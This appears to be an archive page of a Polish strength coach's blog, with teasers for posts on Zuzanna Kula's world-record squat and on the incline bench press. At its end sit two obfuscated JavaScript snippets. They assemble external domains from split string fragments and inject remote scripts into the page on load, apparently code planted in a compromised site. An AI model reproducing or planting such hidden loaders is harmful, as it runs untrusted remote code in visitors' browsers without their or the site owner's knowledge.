kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 16 sierpnia, 2025

Kategorie:

Zuzanna Kula rekord świata

Zuzanna Kula najsilniejsza na świecie! Polka zdominowała rywalki i pobiła rekord w przysiadzie.

16 sierpnia, 2025

Historyczny dzień dla polskiego sportu! Zuzanna Kula została mistrzynią świata na The World Games, deklasując rywalki i bijąc fenomenalny rekord świata w przysiadzie. Podniosła 223 kg, ważąc zaledwie 51,9 kg – to wyczyn, który przechodzi do legendy! Jako trener i pasjonat sportów siłowych, zapraszam na gorącą relację i analizę tego niesamowitego triumfu. Przeżyj ze mną historyczne podejście, poznaj kulisy jej absolutnej dominacji i zrozum, dlaczego ten złoty medal to coś więcej niż tylko sportowy wynik.

Czytaj więcej >
Wyciskanie na skosie dodatnim

Wyciskanie na skosie dodatnim: Najważniejsze ćwiczenie dla kompletnej klatki piersiowej?

16 sierpnia, 2025

Masz wrażenie, że Twojej klatce piersiowej brakuje “wypełnienia” u góry, mimo regularnego wyciskania na płasko? To częsty błąd, który sprawia, że sylwetka wygląda na niekompletną. W tym kompleksowym poradniku analizuję, dlaczego wyciskanie na skosie dodatnim jest absolutnie kluczowe dla budowy potężnego i proporcjonalnego “pancerza”. Dowiedz się, jak perfekcyjna technika, zrozumienie anatomii i unikanie najczęstszych błędów mogą całkowicie odmienić Twój trening i sylwetkę.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();